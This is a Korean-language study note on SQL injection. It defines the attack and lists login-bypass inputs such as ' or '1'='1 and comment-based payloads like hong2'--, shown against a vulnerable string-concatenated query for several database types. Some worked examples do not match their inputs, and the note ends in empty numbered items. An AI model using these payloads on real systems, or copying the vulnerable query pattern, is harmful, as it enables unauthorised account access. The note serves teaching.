SQL Injection 정의
- DB서버에서 실행되는 SQL문에 악의적인 코드를 추가,삽입하여 권한이 없는 사람이 정보를 획득하거나 데이터를 삭제, 수정하는 공격기법
- 악의적으로 데이터가 저장된 DB서버에 전달하는 SQL문을 변조함으로써 정보의 유출, 인증우회, 데이터수정, 삭제 등의 일을 수행하게 하는 웹해킹 기법
sql = "select * from member where userid='"&userid&"'"
'위 문장에서 인젝션이 가능하게 하는 문장, ID와 PWD를 한번에 비교하면 인젝션이 가능함 ↓↓↓↓
sql = "select * from member where userid='"&userid&"' and pwd='"&pwd&"'"
id : Anything
password : Anything’ or ‘1’=’1
↓
↓인젝션문장에 들어감
SQL = “Select * from member where id = ‘”&strUserID&”’ and password = ‘”&strUserPass&”’”
id = ‘admin’ and password =’1’ or ‘1’=’1’”
F------------TRUE--------àTRUE
- 로그인 시 제일 먼저 가입한 사람의 계정으로 로그인된다.
DB에서 확인을 해보면
SELECT * FROM member WHERE userid='admin' AND pwd='1' OR '1'='1' 입력시
SELECT * FROM member와 같은 결과가 뜨는걸 볼 수 있다.
id와 pwd는 항상 F이고 OR 부분으로 인해 T가 되므로 아무거나 입력해도 결과는 같다.
SELECT * FROM member WHERE userid='Anything' AND pwd='Anything' OR '1'='1'
*인증우회
1. ID, PW 모두 모르는 경우 : SQL문 재구성해서 인증우회
=> 가장 먼저 가입한 사람 계정으로 로그인됨
ID [ Anything ]
PW [ Anything’ or’1’=’1 ]
sql = "select * from member where userid='"&userid&"' and pwd='"&pwd&"'"
↓
sql = "select * from member where userid='" Anything "' and pwd=' Anything’ or’1’=’1'"
2. ID만 알고 PW 모르는 경우 : ID만 체크하도록 SQL문 재구성
ID [ hong2’ or ‘1’=’1 ]
PW [ Anything ]
sql = "select * from member where userid='"&userid&"' and pwd='"&pwd&"'"
↓
sql = "select * from member where userid='hong2' or’1’=’1’ and pwd=' Anything’"
SELECT * FROM member WHERE userid='hong2' or'1'='1' and pwd='anything';
위 인젝션문장을 사용하여 아래와 같이 로그인시 모두 로그인이 되었다.
3. 주석문 이용
MS-SQL Server : --
Oracle : --
My-SQL : #
MS-Acess : %00
1) ID만 아는 경우 : hong2 아이디로 로그인 하도록 공격
주석을 이용해서 PW비교를 무력화 시킨다.
ID[ hong2’-- ]
PW[ Anything ]
sql = “select * from member where userid=’hong2’--’ and pwd=’Anything’”
select * from member where userid='hong2'--’ and pwd=’Anything'
2) 패턴 & 주석 조합해서 구성 (아이디만 아는경우)
ID[ Admin ]
PW[ Anything’ or 1=1-- ]
sql = “select * from member where userid=’Anything’ and pwd= ‘Anything’ or 1=1--'”
select * from member where userid='Anything' and pwd= 'Anything' or 1=1--'"
3) 패턴 & 주석 조합해서 구성 (아이디만 아는경우)
ID[ Admin ]
PW[ Anything’ or ‘1’=’1’-- ]
sql = “select * from member where userid=’Anything’ and pwd=’Anything’ or ‘1’=’1’--’”
select * from member where userid='Anything' and pwd='Anything' or '1'='1'--'
4) 패턴 & 주석 조합 (ID, PW모두 모르는 경우 제일 먼저 가입한사람으로 로그인)
ID[ Anything’ or’1’=’1’-- ]
PW[ Anything ]
sql = “select * from member where userid=’Anything’ or’1’=’1’--’ and pwd=’Anything’”
select * from member where userid='hong2'--’ and pwd=’Anything'
5) 패턴 & 주석 조합 (ID, PW모두 모르는 경우 제일 먼저 가입한사람으로 로그인)
ID[ Anything’ or 1=1-- ]
PW[ Anything ]
sql = “select * from member where userid=’Anything’ or 1=1--’ and pwd=’Anything’”
select * from member where userid='Anything' or'1'='1'--' and pwd='Anything'"
1)
2)
3)
4)